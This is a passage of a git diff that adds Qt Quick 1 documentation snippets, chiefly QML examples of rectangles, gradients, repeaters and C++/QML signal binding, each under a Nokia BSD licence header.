+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+//![0]
+int main(int argc, char *argv[]) {
+ QApplication app(argc, argv);
+
+ QDeclarativeView view(QUrl::fromLocalFile("MyItem.qml"));
+ QObject *item = view.rootObject();
+
+ MyClass myClass;
+ QObject::connect(item, SIGNAL(qmlSignal(QString)),
+ &myClass, SLOT(cppSlot(QString)));
+
+ view.show();
+ return app.exec();
+}
+//![0]
+
+#include "moc_main.cpp"
diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-qml/myclass.h b/doc/src/snippets/qtquick1/qtbinding/signals-qml/myclass.h
new file mode 100644
index 0000000000..810b20a515
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/signals-qml/myclass.h
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QObject>
+#include <QDebug>
+//![0]
+class MyClass : public QObject
+{
+ Q_OBJECT
+public slots:
+ void cppSlot(const QString &msg) {
+ qDebug() << "Called the C++ slot with message:" << msg;
+ }
+};
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/variantlistmap/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/variantlistmap/MyItem.qml
new file mode 100644
index 0000000000..dc7880ae24
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/variantlistmap/MyItem.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//![0]
+// MyItem.qml
+Item {
+ function readValues(anArray, anObject) {
+ for (var i=0; i<anArray.length; i++)
+ console.log("Array item:", anArray[i])
+
+ for (var prop in anObject) {
+ console.log("Object item:", prop, "=", anObject[prop])
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/variantlistmap/main.cpp b/doc/src/snippets/qtquick1/qtbinding/variantlistmap/main.cpp
new file mode 100644
index 0000000000..84b0a2df91
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/variantlistmap/main.cpp
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+int main(int argc, char *argv[]) {
+ QApplication app(argc, argv);
+
+//![0]
+// C++
+QDeclarativeView view(QUrl::fromLocalFile("MyItem.qml"));
+
+QVariantList list;
+list << 10 << Qt::green << "bottles";
+
+QVariantMap map;
+map.insert("language", "QML");
+map.insert("released", QDate(2010, 9, 21));
+
+QMetaObject::invokeMethod(view.rootObject(), "readValues",
+ Q_ARG(QVariant, QVariant::fromValue(list)),
+ Q_ARG(QVariant, QVariant::fromValue(map)));
+//![0]
+
+ view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+ view.show();
+
+ return app.exec();
+}
+
diff --git a/doc/src/snippets/qtquick1/qtobject.qml b/doc/src/snippets/qtquick1/qtobject.qml
new file mode 100644
index 0000000000..1ac86533a0
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtobject.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ QtObject {
+ id: attributes
+ property string name
+ property int size
+ property variant attributes
+ }
+
+ Text { text: attributes.name }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/rectangle/rect-border-width.qml b/doc/src/snippets/qtquick1/rectangle/rect-border-width.qml
new file mode 100644
index 0000000000..f34582cf42
--- /dev/null
+++ b/doc/src/snippets/qtquick1/rectangle/rect-border-width.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![0]
+Rectangle {
+ width: 100; height: 100
+ color: "lightblue"
+
+ Rectangle {
+ anchors.fill: parent
+ anchors.margins: 10
+ clip: true
+
+ Rectangle {
+ anchors.fill: parent
+ border.width: 1
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/rectangle/rectangle-colors.qml b/doc/src/snippets/qtquick1/rectangle/rectangle-colors.qml
new file mode 100644
index 0000000000..da41f3cbc6
--- /dev/null
+++ b/doc/src/snippets/qtquick1/rectangle/rectangle-colors.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ width: 100; height: 200
+
+Item {
+ x: 10; y: 10
+ width: 80; height: 180
+
+//! [rectangles]
+Rectangle {
+ color: "#00B000"
+ width: 80; height: 80
+}
+
+Rectangle {
+ color: "steelblue"
+ y: 100; width: 80; height: 80
+}
+//! [rectangles]
+}
+}
diff --git a/doc/src/snippets/qtquick1/rectangle/rectangle-gradient.qml b/doc/src/snippets/qtquick1/rectangle/rectangle-gradient.qml
new file mode 100644
index 0000000000..67647db684
--- /dev/null
+++ b/doc/src/snippets/qtquick1/rectangle/rectangle-gradient.qml
@@ -0,0 +1,74 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ width: 100; height: 300
+
+Item {
+ x: 10; y: 10
+ width: 80; height: 280
+
+//! [rectangles]
+Rectangle {
+ y: 0; width: 80; height: 80
+ color: "lightsteelblue"
+}
+
+Rectangle {
+ y: 100; width: 80; height: 80
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "lightsteelblue" }
+ GradientStop { position: 1.0; color: "blue" }
+ }
+}
+
+Rectangle {
+ y: 200; width: 80; height: 80
+ rotation: 90
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "lightsteelblue" }
+ GradientStop { position: 1.0; color: "blue" }
+ }
+}
+//! [rectangles]
+}
+}
diff --git a/doc/src/snippets/qtquick1/rectangle/rectangle.qml b/doc/src/snippets/qtquick1/rectangle/rectangle.qml
new file mode 100644
index 0000000000..971f1e66b9
--- /dev/null
+++ b/doc/src/snippets/qtquick1/rectangle/rectangle.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 100
+ height: 100
+ color: "red"
+ border.color: "black"
+ border.width: 5
+ radius: 10
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/repeaters/repeater-grid-index.qml b/doc/src/snippets/qtquick1/repeaters/repeater-grid-index.qml
new file mode 100644
index 0000000000..e1b4461f82
--- /dev/null
+++ b/doc/src/snippets/qtquick1/repeaters/repeater-grid-index.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 400; color: "black"
+
+ Grid {
+ x: 5; y: 5
+ rows: 5; columns: 5; spacing: 10
+
+ Repeater { model: 24
+ Rectangle { width: 70; height: 70
+ color: "lightgreen"
+
+ Text { text: index
+ font.pointSize: 30
+ anchors.centerIn: parent } }
+ }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/repeaters/repeater.qml b/doc/src/snippets/qtquick1/repeaters/repeater.qml
new file mode 100644
index 0000000000..ad39c7be9d
--- /dev/null
+++ b/doc/src/snippets/qtquick1/repeaters/repeater.qml
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [import]
+import QtQuick 1.0
+//! [import]
+
+Row {
+
+//! [simple]
+Row {
+ Repeater {
+ model: 3
+ Rectangle {
+ width: 100; height: 40
+ border.width: 1
+ color: "yellow"
+ }
+ }
+}
+//! [simple]
+
+//! [index]
+Column {
+ Repeater {
+ model: 10
+ Text { text: "I'm item " + index }
+ }
+}
+//! [index]
+
+//! [modeldata]
+Column {
+ Repeater {
+ model: ["apples", "oranges", "pears"]
+ Text { text: "Data: " + modelData }
+ }
+}
+//! [modeldata]
+
+//! [layout]
+Row {
+ Rectangle { width: 10; height: 20; color: "red" }
+ Repeater {
+ model: 10
+ Rectangle { width: 20; height: 20; radius: 10; color: "green" }
+ }
+ Rectangle { width: 10; height: 20; color: "blue" }
+}
+//! [layout]
+
+}
diff --git a/doc/src/snippets/qtquick1/reusablecomponents/Button.qml b/doc/src/snippets/qtquick1/reusablecomponents/Button.qml
new file mode 100644
index 0000000000..6a0567ec99
--- /dev/null
+++ b/doc/src/snippets/qtquick1/reusablecomponents/Button.qml
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
